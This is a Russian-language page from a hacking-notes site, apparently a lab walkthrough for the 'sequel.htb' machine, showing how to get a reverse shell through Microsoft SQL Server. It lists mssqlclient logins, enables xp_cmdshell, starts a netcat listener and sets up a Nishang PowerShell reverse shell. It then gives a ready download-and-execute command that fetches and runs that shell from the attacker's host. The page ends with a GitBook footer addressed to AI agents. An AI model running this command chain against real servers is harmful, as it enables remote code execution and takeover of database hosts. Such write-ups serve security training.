> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/ports-and-services/mssql-1433/mssql-exploitation-rce.md).

# Эксплуатация RCE в MSSQL

## Эксплуатация MSSQL (Microsoft SQL)

**Порт 1433 (MSSQL)**

Порт 1433 открыт, что указывает на то, что прослушивается Microsoft SQL Server. Проверьте доступ с пользователями, полученными во время перечисления.

<figure><img src="/files/9cabad386df34daf66e712e426f1d99606b00650" alt=""><figcaption></figcaption></figure>

**Тест подключения MSSQL**

Используйте `mssqlclient.py` чтобы попробовать подключиться:

```powershell
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```

<figure><img src="/files/aaccced39747d0a5b52256760adb905e20c7a3e5" alt=""><figcaption></figcaption></figure>

**Результат**: Работает только `sa` пользователь.

```powershell
mssqlclient.py sequel.htb/sa@10.10.11.51
```

<figure><img src="/files/9fb8459d5f8cf5ae160d628694670bc4bc8b48ca" alt=""><figcaption></figcaption></figure>

### Обратная оболочка через MSSQL

**Включить выполнение команд**

Чтобы выполнять системные команды, включите `xp_cmdshell`:

```sql
enable_xp_cmdshell
```

Затем проверьте с помощью простой команды, например `ipconfig`:

```sql
xp_cmdshell ipconfig
```

<figure><img src="/files/aa5b73b7eea81a94b787a6892d052d99a3df7227" alt=""><figcaption></figcaption></figure>

**Подготовка к прослушиванию на нашей машине**

Запустите слушатель на порту 4444:

```bash
rlwrap nc -nvlp 4444
```

**Загрузка скрипта PowerShell**

Подготовьте скрипт PowerShell с именем `PS.ps1` который включает функцию обратной оболочки:

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

В конце скрипта добавьте следующую строку:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```

Разместите этот скрипт на локальном веб-сервере:

```bash
python3 -m http.server 80
```

**Выполнение обратной оболочки**

На сервере MSSQL выполните следующую команду, чтобы скачать и запустить скрипт PowerShell:

```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```

<figure><img src="/files/09e7e1a05d5daf3331cda8aeea697676fcd3059a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/ports-and-services/mssql-1433/mssql-exploitation-rce.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
